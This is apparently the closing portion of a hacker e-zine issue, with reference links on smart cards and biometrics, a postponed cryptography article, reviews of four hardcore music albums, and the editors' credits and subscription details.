[o] http://www.ssa.gov/oig/auditpdf/9841007.pdf#xml=http://www.ssa. \
gov/search97cgi/s97_cgi?action=View&VdkVgwKey=http%3A%2F%2Fwww%2 \
Essa%2Egov%2Foig%2Fauditpdf%2F9841007%2Epdf&doctype=xml&Collect \
ion=SSA&QueryZip=biometric%3COR%3E+%28keywords+%3Ccontains%3Ebio
metric%29&
[p] http://www.he.net/~dvk/imms/immtrack.htm
_/Further Reading
http://armyec.army.mil/faqs_main.htm#smartcards
http://www.smart.gov/information/plan/scplan.html
http://www.smart.gov/information/guide/8physical.html
http://www.gsa.gov/Portal/main.jsp?tab=home
_/Signed
.----------------------------------------------------------------------.
| |
| _azure |
| |
`----------------------------------------------------------------------'
____________________________________________________________________
------------------------------------------------------------ - kynik
[=] 0x04: Chaffing as an Alternative to Encryption (Part II)
Unfortunately, due to a time crunch, I couldn't finish this article. All
of the code is done and ready to be thrown at you guys, but I'll wait
until issue 12 for that. Please be patient, and sorry for the delay.
_______________________________
----------------------- - kynik
[=] 0x05: Music Reviews
Anybody like hardcore? I know I do. I guess they're calling it 'new
hardcore', though, to distinguish it from its punkier, older uncle, which
included bands like Minor Threat and Gorilla Biscuits. (Both of which
rock!) So here are the albums, in no particular order:
Poison the Well
"The Opposite of December"
http://www.poisonthewell.com/ (down last time I checked)
http://www.wickedland.com/poisonthewell
I found an mp3 of Poison the Well's "Slice Paper Wrists" (track 4 on this
disc) about a year ago, and I was floored. It was right up my alley, being
a huge Vision of Disorder fan. That song found its way onto several mix
tapes and CDs until I actually bought the CD a few months ago. There's a
little hint of prog metal in this CD, and one song even starts out with a
In Flames-ish riff. Otherwise, it's good, solid, upbeat scream-sing-scream
kill-all-your-friends-and-cry-about-it-later music.
Choice lyric: "I could never swallow your false ideals."
Drowningman
"Busy Signal at the Suicide Hotline"
http://www.drowningmanhatesyou.com/
Besides having a knack for coming up with song and album titles that are
hilarious to those of us with a sick sense of humor, these guys are really
good. They're probably the heaviest of the four albums I'm reviewing this
issue. A minor gripe I have about this CD is that the screams are just so
distorted and loud that it almost fails to be distinct. That's not
necessarily a bad thing, though. This album feels like it comes and goes
way too quickly, though, only having 8 songs. With songs like these, the
intensity really makes you want more.
Choice lyric: "I'll tear your fucking heart out, you bastard."
Walls of Jericho
"A Day and a Thousand Years"
(couldn't find a website)
Ok, I bought this CD because of their schtick, but am I ever glad I did.
The schtick for this band is that their lead vocalist is female. You know
what? It hardly matters. The vocals are as good as any male hardcore
vocalist's and Candace is able to hit some stuff many guys couldn't. Walls
of Jericho have a slightly more punky approach to this genre, which may
seem redundant. I guess what I'm saying is they're closer to the 'old
hardcore' than the other albums---there's a lot of straight-up fast 2
beat drum parts with fast power-chording guitars. This CD also has the
punk-rock trademark of being really short, like the Drowningman disc
above...only 7 songs this time. (That's ok, it was cheap)
Choice lyric: "Does your life stand for anything? Ask yourself this."
Vision of Disorder
"From Bliss to Devastation"
http://www.vod.com/
I've been waiting for this album for a long time. It's considerably
different from all of the bands above and their previous albums. I say
this because there's a ton more singing going on than in a 'normal'
hardcore CD. Don't get me wrong, there's lots of screaming here too. I'm
not sure this'll be my favorite VOD album---it'd be damn hard to top their
self-titled debut CD. I think they took this more melodic approach to
songwriting in order to broaden their fan base and possibly land a radio
song or two. (Or if they're really unlucky, an MTV video.) Run, don't walk
to their website and listen to this... the CD is great.
Choice lyric: "What's the sense, there's only sorrow."
____________________
----------------- -
[=] 0x06: Credits
Editor: Kynik <kynik@firest0rm.org>
Co-Editors: ajax <ajax@firest0rm.org>
rsquared <rsquared@firest0rm.org>
Article Contributions: echo8 <echo8@gh0st.net>
_azure <azure@gh0st.net>
To subscribe to this 'zine:
email napalm@firest0rm.org with a subject of SUBSCRIBE
To unsubscribe:
email napalm@firest0rm.org with a subject of UNSUBSCRIBE
Or find us online at:
http://napalm.firest0rm.org/
Submissions, questions, comments, and constructive chaos may also be
directed to kynik@firest0rm.org or any of the contributors
.n11! - eof
